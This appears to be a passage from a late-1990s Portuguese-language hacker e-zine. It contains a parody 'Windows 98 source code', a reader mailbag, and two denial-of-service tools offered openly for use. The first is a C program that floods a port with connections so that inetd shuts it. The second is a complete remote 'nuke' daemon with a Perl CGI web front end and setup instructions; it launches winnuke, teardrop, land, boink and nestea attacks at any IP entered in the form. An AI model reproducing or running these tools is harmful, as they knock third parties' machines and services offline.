  Suporte a quotas   Sim                 Nao                            
  de disco                                                             
 Ĵ
  Numero de GUIs     4                   1                             
 





    ͻ
 Ĵ [0x07] Windows 98 Source Code                  MicroSux 
    ͼ
                                                       
 hehe, se voce entende um pouco de C vai dar muita risada ;D
                                                                       
/*
    TOP SECRET Microsoft(c)  Code
    Project: Chicago(tm)
    Projected release-date: Summer 1998
*/
                                                                   
#include "win31.h"
#include "win95.h"
#include "evenmore.h"
#include "oldstuff.h"
#include "billrulz.h"
#define INSTALL = HARD

char make_prog_look_big[1600000];

void main() {
     while(!CRASHED)
     {
	   display_copyright_message();
	   display_bill_rules_message();
	   do_nothing_loop();
	   if (first_time_installation)
	   {
	      make_50_megabyte_swapfile();
	      do_nothing_loop();
	      totally_screw_up_HPFS_file_system();
	      search_and_destroy_the_rest_of_OS/2();
	      hang_system();
	   }
	   write_something(anything);
	   display_copyright_message();
	   do_nothing_loop();
	   do_some_stuff();
	   if (still_not_crashed)
	   {
	       display_copyright_message();
	       do_nothing_loop();
	       basically_run_windows_3.1();
	       do_nothing_loop();
	       do_nothing_loop();
	   }
       }
       if (detect_cache())
	   disable_cache();
       if (fast_cpu())
       {
	   set_wait_states(lots);
	   set_mouse(speed, very_slow);
	   set_mouse(action, jumpy);
	   set_mouse(reaction, sometimes);
       }
       /* printf("Welcome to Windows 3.11"); */
       /* printf("Welcome to Windows 95"); */
       printf("Welcome to Windows 98");
       if (system_ok())
	    crash(to_dos_prompt);
       else
	   system_memory = open("a:\swp0001.swp", O_CREATE);
       while(something)
       {
	   sleep(5);
	   get_user_input();
	   sleep(5);
	   act_on_user_input();
	   sleep(5);
       }
       create_general_protection_fault();
}





    ͻ
 Ĵ [0x08] <DoS> inetd                             SouL Hunter 
    ͼ

  Por algum  motivo. talvez  para proteger contra programas de forca bruta
  ou para proteger a  memoria. o inetd fecha uma determinada porta se esta
  for aberta muitas vezes seguidas.
  A porta  ficara fechada por uns 5 minutos. e entao tudo volta ao normal.
  O incrivel eh  que nao encontrei nenhuma documentacao sobre este tipo de
  'falha' bem babaca.
  Aqui  um  programa bem simples que estabelece uma connecao com uma porta 
  sem parar.

-------------------------------------------------------------( inetd_dos.c )-
#include <stdio.h>
#include <string.h>
#include <resolv.h>

int S,i;
void main(int argc, char **argv)
{
    struct sockaddr_in sin;
    struct hostent *hp;
    if(argc<3){
	printf("Usage : %s host port\n\n",argv[0]);
        exit(0);
    }    
    hp = gethostbyname(argv[1]);
    bzero((char*) &sin, sizeof(&sin));
    bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
    sin.sin_family = AF_INET;
    sin.sin_port = htons(atoi(argv[2]));
    do{
        if((S=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
	    printf("\nSocket Error\n");
	    exit(0);
	}
	    
        if((connect(S,(struct sockaddr *) &sin, sizeof(sin)))==-1){
	    printf("\nConnect Error - Yeah!\n");
	    close(S);
	    exit(0);
	}
	
        close(S);    
    }while(1);
}
-------------------------------------------------------------( inetd_dos.c )-





    ͻ
 Ĵ [0x09] <DoS> Nuke Daemon .cgi                  SouL Hunter 
    ͼ

 Mais CGIs do MAL :)

 Na antiga netusers.net ou da microsoftz.com existia um cgi que fazia o
 papel de um Nuke-Server, onde vc podia literalmente nukar via http.
 Como nao existe mais a microsoftz, vamos colocar aqui esse cgi e o daemon
 para que qualquer um que tenha um micro com linux (root) possa ter um 
 'web-nuke' ou algo assim...

O esquema eh o seguinte.

 Primeiro de tudo. voce TEM que ter um lugar para colocar o CGI. e voce TEM
 que ser root em uma maquina linux. (Pode ser o seu computer).
  Obs: o lugar onde voce vai colocar o CGI e o lugar onde vc ira rodar o 
       ./nuked nao precisam ser os mesmos
 Configure o nuked.c (os diretorios dos nukes) e o nuke.cgi (o IP onde esta
 o ./nuked)    
 Voce coloca o nuke.cgi em QUALQUER lugar que aceite CGI (NAO PRECISA SER
 ROOT NEM NADA). 
 Depois voce tem que rodar o ./nuked em QUALQUER micro. (Linux, claro :) )
 Ele vai abrir a porta 60000 e fica esperado comandos que serao enviados pelo 
 nuke.cgi.
 Voce tem 2 opcoes. Rodar o ./nuked como root ou colocar setuid root nos
 nukes. ja que para usar RAW sockets eh necessario ser root.
 Cabo.
 Depois tipo. voce entra em http://blah/cgi-bin/nuke.cgi
 escolhe o nuke digite o IP (Tem que ser o IP mesmo). e clique no butao.
 o CGI enviara os dados para o micro onde esta o nuked pela porta 60000.
    
-----------------------------------------------------------------( nuked.c )-
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <resolv.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/wait.h>

#define SERVERPORT 	60000
#define FILE_LOG 	"/nukes.log"
#define PASSWORD	"NEARZ"

// Defina 1 para SIM e 0 para naum.
#define HAVE_WINNUKE 	1
#define HAVE_JOLT	1
#define HAVE_SIMPING 	1
#define HAVE_LAND 	1
#define HAVE_TEARDROP 	1
#define HAVE_NEWTEAR	1
#define HAVE_BOINK 	1
#define HAVE_NESTEA 	1

// localizacao dos Nukes
#define WINNUKE 	"/bin/nukes/winnuke"
#define JOLT		"/bin/nukes/jolt"
#define SIMPING 	"/bin/nukes/simping"
#define LAND 		"/bin/nukes/land"
#define TEARDROP 	"/bin/nukes/teardrop"
#define NEWTEAR		"/bin/nukes/newtear"
#define BOINK 		"/bin/nukes/boink"
#define NESTEA 		"/bin/nukes/nestea"
#define BACKLOG 	10

char 	*readline();
int 	Connect( const char *hostname, const int port );
char 	*hora();
void 	nuke(int n);
void 	handle_alarm(int sn);
void 	sai(int sn);
void 	main2();
char 	line[5000];
int 	new_fd,sockfd,S;

char temp[5000];
char temp1[5000];
int i;
FILE *fp1;
time_t 	lt;
struct 	tm *ptr;
struct sockaddr_in my_addr;    
struct sockaddr_in their_addr; 

void main(int argc,char **argv)
{
   signal(SIGHUP , sai);
   signal(SIGINT , sai);
   signal(SIGTERM, sai);
   signal(SIGKILL, sai);
   signal(SIGQUIT, sai);
   strcpy(argv[0],"NearZ - NukeDaemon");   
    do{     
    	main2();                            
    }while(1);    
}
void main2()
{
    int	i;
    int sin_size;
    
    fp1=fopen(FILE_LOG,"a+");
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
	fprintf(fp1,"%s	- Erro de socket - saindo...\n",hora());
	fflush(fp1);
        sai(1);
    }
    my_addr.sin_family = AF_INET;  
    my_addr.sin_port = htons(SERVERPORT);
    my_addr.sin_addr.s_addr = INADDR_ANY;
    bzero(&(my_addr.sin_zero), 8);       
    if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) {
        sai(1);
    }
    if (listen(sockfd, BACKLOG) == -1) {
	fprintf(fp1,"%s	- Erro no listen - saindo...\n",hora());
	fflush(fp1);
        exit(1);
    }
    while(1) {  /* main accept() loop */
        sin_size = sizeof(struct sockaddr_in);
        if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) {
                continue;
        }	
	fprintf(fp1,"%s	- CONNECT - %s\n",hora(),inet_ntoa(their_addr.sin_addr));
	fflush(fp1);
        if (!fork()) {
	    signal(SIGALRM, handle_alarm);
	    alarm(10);    
	    strcpy(temp,readline()); 
	    if(strcmp(temp,PASSWORD)==0){
		fflush(fp1);
		strcpy(temp,readline()); 
		     if(strcmp(temp,"WINNUKE" )==0) nuke(1);
		else if(strcmp(temp,"JOLT"    )==0) nuke(2);
		else if(strcmp(temp,"SIMPING" )==0) nuke(3);
		else if(strcmp(temp,"LAND"    )==0) nuke(4);
		else if(strcmp(temp,"TEARDROP")==0) nuke(5);
		else if(strcmp(temp,"NEWTEAR" )==0) nuke(6);
		else if(strcmp(temp,"BOINK"   )==0) nuke(7);
		else if(strcmp(temp,"NESTEA"  )==0) nuke(8);
	        } else if(strcmp(temp,"CHECK")==0){		
    		    close(new_fd);
		    exit(0);		    
		} else {
		fprintf(fp1,"%s	- %s - ERRO NOS DADOS (PWD?) - (%s)\n",hora(),inet_ntoa(their_addr.sin_addr),temp);
		fflush(fp1);
    		    write(new_fd,"Z\n",2);
		    close(new_fd);
		    exit(0);
		} 
		
	    
            close(new_fd);
            exit(0);
        }
        close(new_fd); 
        while(waitpid(-1,NULL,WNOHANG) > 0); 
	signal(SIGCHLD, SIG_IGN);
    }
}
char *readline()
{
    char singlekey;
    int i=0;    
    do{
	read(new_fd,&singlekey,1);
	line[i++]=singlekey;
    }while(singlekey!=0x0a && i<4900);
    line[i-1] = 0x00;	
    return line;
}
int Connect( const char *hostname, const int port )
{
   struct sockaddr_in sin = {0};
   struct hostent   *phe;
   int              sock;
   sin.sin_family = AF_INET;
   sin.sin_port   = htons( port );
   if ( !(phe = gethostbyname( hostname )) ){
   	printf("\nGet host by name error\n");exit(0);   }
   memcpy( (char *)&sin.sin_addr, phe->h_addr, phe->h_length );
   if ( (sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP )) == -1 ){
   printf("\nSocket error\n");exit(0);
   } 
   if ( connect( sock, (struct sockaddr *)&sin, sizeof(sin)) == -1 ){
     printf("\nConnection error\n");exit(0);
     }
   return sock;
}

void handle_alarm(int sn)
{
    int i;
	fprintf(fp1,"%s	-  %s - TIMEOUT\n",hora(),inet_ntoa(their_addr.sin_addr));
	fflush(fp1);
       alarm(0);
       close(sockfd);
       main2();       
}
void sai(int sn)
{
    int i;
       alarm(0);
       signal(SIGALRM, SIG_DFL);
       if(sn!=1){
       	fprintf(fp1,"%s	- SIGNAL %d \n",hora(),sn);
	fflush(fp1);
	}
       close(new_fd);
       close(sockfd);
       fclose(fp1);

       exit(0);
}
void nuke(int n)
{
    char	ipdest[5000];
    char	temp02[5000];
    strcpy(ipdest,readline());
    if(strlen(ipdest)>15 || strlen(ipdest)<11 || strchr(ipdest,'.')==NULL || strchr(ipdest,'.')==strrchr(ipdest,'.')){
		write(new_fd,"X\n",2);
		close(new_fd);
		exit(0);    
    }
    for(i=0;i<strlen(ipdest);i++){
	if(ipdest[i]<'0' || ipdest[i] >'9'){
	    if(ipdest[i]!='.'){
		write(new_fd,"X\n",2);
		close(new_fd);
		exit(0);
	    }
	}
    }
    
	 if(n==1 && HAVE_WINNUKE ) sprintf(temp02,"%s %s",WINNUKE,ipdest);
    else if(n==2 && HAVE_JOLT	 ) sprintf(temp02,"%s %s %s",JOLT,ipdest,ipdest);
    else if(n==3 && HAVE_SIMPING ) sprintf(temp02,"%s %s",SIMPING,ipdest);
    else if(n==4 && HAVE_LAND	 ) sprintf(temp02,"%s %s",LAND,ipdest);
    else if(n==5 && HAVE_TEARDROP) sprintf(temp02,"%s %s %s -n 15",TEARDROP,ipdest,ipdest);
    else if(n==6 && HAVE_NEWTEAR ) sprintf(temp02,"%s %s %s -n 15",NEWTEAR,ipdest,ipdest);
    else if(n==7 && HAVE_BOINK	 ) sprintf(temp02,"%s %s %s 0 65535 1",BOINK,ipdest,ipdest);
    else if(n==8 && HAVE_NESTEA	 ) sprintf(temp02,"%s %s %s -n 15",NESTEA,ipdest,ipdest);
    else {
    	write(new_fd,"Z\n",2);
	close(new_fd);
	return ;
    }
    write(new_fd,"A\n",2);
    fprintf(fp1,"%s	- %s - NUKE -> %s - tipo:%s\n",hora(),inet_ntoa(their_addr.sin_addr),ipdest,temp);
    fflush(fp1);
    strcat(temp02," & ");
    system(temp02);
    close(sockfd);
    exit(0);
}
char *hora()
{    
    lt =time('\0');
    ptr=localtime(&lt);
    strcpy(temp1,asctime(ptr));
    temp1[strlen(temp1)-1]=0x00;
    return temp1;
}    
-----------------------------------------------------------------( nuked.c )-



----------------------------------------------------------------( nuke.cgi )-
#!/usr/bin/perl
use Socket;
$CGI_FILE_NAME   = "nuke.cgi";
$NUKESERVER	= "127.0.0.1";
$PORTSERVER	= 60000 ;
$SERVER_PASSWORD= "NEARZ";
$WINNUKE	= 1;
$JOLT		= 1;
$LAND		= 1;
$SIMPING	= 1;
$TEARDROP	= 1;
$NEWTEAR	= 1;
$BOINK		= 1;
$NESTEA		= 1;

print "Content-type: text/html\n\n";
&Getget; 
if ($FORM{'submit'} eq ""){ &page1; } else { 
    if("$FORM{'host'}" eq "") { print "Eh necessario escolher um Nuke"; die; }
    &doit;
    die;
}
sub Getget {
  read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
  @pairs=split(/&/, $buffer);
  foreach $pair (@pairs) {
    ($cabe, $value) = split(/=/, $pair);
    $value =~ tr/+/ /;
    $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
    $value =~ s/~!/ ~!/g; 
    $FORM{$cabe}=$value;
  }
}

sub page1 {

$h = $NUKESERVER; $p = $PORTSERVER ;
$in_addr = (gethostbyname($h))[4]; 
$addr = sockaddr_in($p,$in_addr);
socket(S, AF_INET, SOCK_STREAM, getprotobyname('tcp')); 
# conectou
if(connect(S,$addr)){
send(S,"CHECK\n",0);
close S;
print <<FIM;
<HTML>
<HEAD>
</HEAD>

<BODY BGCOLOR="#000000"><P ALIGN=CENTER><BR><BR></P>
<TABLE WIDTH=100% BORDER=0 CELLPADDING=3 CELLSPACING=0>
	<COL WIDTH=256*>
	<TR>
		<TD WIDTH=100% VALIGN=TOP BGCOLOR="#000080">
			<!P ALIGN=CENTER><FONT COLOR="#ffffff">   
			$ENV{'REMOTE_HOST'}<BR>
			$ENV{'HTTP_USER_AGENT'}<BR>
			O Servidor de nuke esta funcionando</FONT></P>
		</TD>
		
	</TR>
</TABLE>


<P ALIGN=CENTER><BR><BR>
</P>

FIM
} else {
    # nao funciona argh!
    print <<FIM;
    <HTML>
    </HEAD><BODY BGCOLOR="#000000"><P ALIGN=CENTER><BR><BR></P>
    <TABLE WIDTH=100% BORDER=0 CELLPADDING=3 CELLSPACING=0>
    <COL WIDTH=256*><TR><TD WIDTH=100% VALIGN=TOP BGCOLOR="#000080">
    <P ALIGN=CENTER><FONT COLOR="#ffffff">   O Servidor de nuke nao esta funcionando</FONT></P></TD></TR>
    </TABLE>
FIM
    die;
}
print <<EOT;
<P ALIGN=CENTER><BR><BR>
</P>
<FORM NAME="Standard" ACTION="$CGI_FILE_NAME " METHOD=POST>
	<DL>
		<DD>
		<TABLE WIDTH=593 BORDER=1 BORDERCOLOR="#000000" CELLPADDING=3 CELLSPACING=0>
			<COL WIDTH=19>
			<COL WIDTH=238>
			<COL WIDTH=296>
			<COL WIDTH=14>
			<TR VALIGN=TOP>
				<TH WIDTH=19 BGCOLOR="#000080">
					<P><BR>
					</P>
				</TH>
				<TH WIDTH=238 BGCOLOR="#000080">
					<P><FONT COLOR="#ffffff">Nukes</FONT></P>
				</TH>
				<TH WIDTH=296 BGCOLOR="#000080">
					<P><FONT COLOR="#ffffff">Sistemas Afetados</FONT></P>
				</TH>
				<TH WIDTH=14 BGCOLOR="#000080">
					<P><BR>
					</P>
				</TH>
			</TR>			
EOT

if($WINNUKE eq 1) { $NUKE="Winnuke"; $SYSTEM="Old Win95/NT";  $VALUE="WINNUKE"; &ShowNUKE;}
if($JOLT eq 1)	  { $NUKE="Jolt";    $SYSTEM="Old Win95/NT";  $VALUE="JOLT"; &ShowNUKE;}
if($SIMPING eq 1) { $NUKE="Simping"; $SYSTEM="Old Win95/NT";  $VALUE="SIMPING"; &ShowNUKE;}
if($LAND eq 1)	  { $NUKE="Land";    $SYSTEM="Win95/NT";      $VALUE="LAND"; &ShowNUKE;}
if($TEARDROP eq 1){ $NUKE="Teardrop";$SYSTEM="Win95/NT/Linux";$VALUE="TEARDROP"; &ShowNUKE;}
if($NEWTEAR  eq 1){ $NUKE="Newtear"; $SYSTEM="Win95/NT";      $VALUE="NEWTEAR"; &ShowNUKE;}
if($BOINK    eq 1){ $NUKE="Boink";   $SYSTEM="Win95/NT";      $VALUE="BOINK"; &ShowNUKE;}
if($NESTEA   eq 1){ $NUKE="Nestea";  $SYSTEM="Win95/NT/Linux";$VALUE="NESTEA"; &ShowNUKE;}
print <<FIM;
	</TABLE>
	<CENTER>
		<TABLE WIDTH=347 BORDER=1 BORDERCOLOR="#000000" CELLPADDING=3 CELLSPACING=0>
			<COL WIDTH=208>
			<COL WIDTH=127>
			<TR VALIGN=TOP>
				<TD WIDTH=208 BGCOLOR="#000000">
					<P ALIGN=CENTER><FONT COLOR="#ffffff">IP: <INPUT TYPE=TEXT SIZE=13 NAME="IP"></FONT></P>
				</TD>
				<TD WIDTH=127 BGCOLOR="#000000">
					<P ALIGN=CENTER><FONT COLOR="#ffffff"><INPUT TYPE=SUBMIT NAME="submit" VALUE=" Nukar ">
					</FONT>
					</P>
				</TD>
			</TR>
		</TABLE>
	</CENTER>
</FORM>
<P ALIGN=CENTER><BR><BR>
</P>
</BODY>
</HTML>
FIM

}
sub ShowNUKE
{
print <<EOT;
<TR VALIGN=TOP>
    <TD WIDTH=19 BGCOLOR="#000000">
		<P><INPUT TYPE=RADIO NAME="host" VALUE="$VALUE"> 
		</P>
    </TD>
    <TD WIDTH=238 BGCOLOR="#000000">
	<P><FONT COLOR="#ffffff">$NUKE</FONT></P>
    </TD>
    <TD WIDTH=296 BGCOLOR="#000000">
	<P><FONT COLOR="#ffffff">$SYSTEM</FONT></P>
    </TD>
    <TD WIDTH=14 BGCOLOR="#000000">
	<P><FONT COLOR="#ffffff">*</FONT></P>
    </TD>
</TR>
EOT

}
sub doit
{
    $h = "$NUKESERVER"; $p = $PORTSERVER ;
    $in_addr = (gethostbyname($h))[4]; 
    $addr = sockaddr_in($p,$in_addr);
    socket(S, AF_INET, SOCK_STREAM, getprotobyname('tcp')); 
    connect(S,$addr) or die $!; select S; $| = 1; select STDOUT;
    send S,"$SERVER_PASSWORD\n",0;
    send S,"$FORM{'host'}\n",0;
    send S,"$FORM{'IP'}\n",0;
    recv S,$TMP,1,0;    
    close S;
    if($TMP eq "A"){ print " $FORM{'host'} - Enviado com sucesso para $FORM{'IP'}"; }
    if($TMP eq "X"){ print " Erro!!: Formato do IP errado. ($FORM{'IP'}) <BR> Exemplo de formato correto: 200.123.123.123 <BR>(Obs. Nao aceitamos Host names)"; }
    die;    
}
----------------------------------------------------------------( nuke.cgi )-





                                                 Ŀ
  == ĿĿ
  [0x0Z]                       E-MaiLZ/E0i                      [0x0Z] 
 ٿ == 
                                                 

 O Nosso emails eh: nearz@cyberspace.org
 Enviem suas duvidas, comentarios, opinioes sugestoes, bug reports,
 Lembrando que se voce nao receber reposta por email leia a edicao
 seguinte. Lah estara a sua resposta. Agora as mensagens de alguns
 leitores:

-=0=---------------------------------------------------------------------=0=-
FROM: v*@iname.com
      Hi NearZ guys!
      Nao sei se fiz a coisa certa mas, tomei a liberdade de adicionar um
      arquivo com todos os seus e-zines no meu site, devido a excelente 
      qualidade do seu material. Acho que mais pessoas deveriam le-lo.
      Se quiserem, mandem um reply. Muito obrigado por sua paciencia e
      compreensao. T+

REPLY: wow! Valeu! Thx pelo mirror ;)
-=0=---------------------------------------------------------------------=0=-


NearZ 08 Editors: 
      <tgo> OBtRuDeR
      <SH1> SoUL HuNTeR


-=-{
quake: discovered(SoUL HuNTeR), text(SoUL HuNTeR), .c(SoUL HuNTeR/OBtRuDeR)
icq: text(SoUL HuNTeR),
ccount: text(OBtRuDeR), .c(OBtRuDeR)
md5:
Unix X NT: text(OBtRuDeR), original(unixnt.txt)
prompts: text(OBtRuDeR)
}-=-


 E0i = End of issue 08 #      Near(z)      # End of issue 08 = E0i 
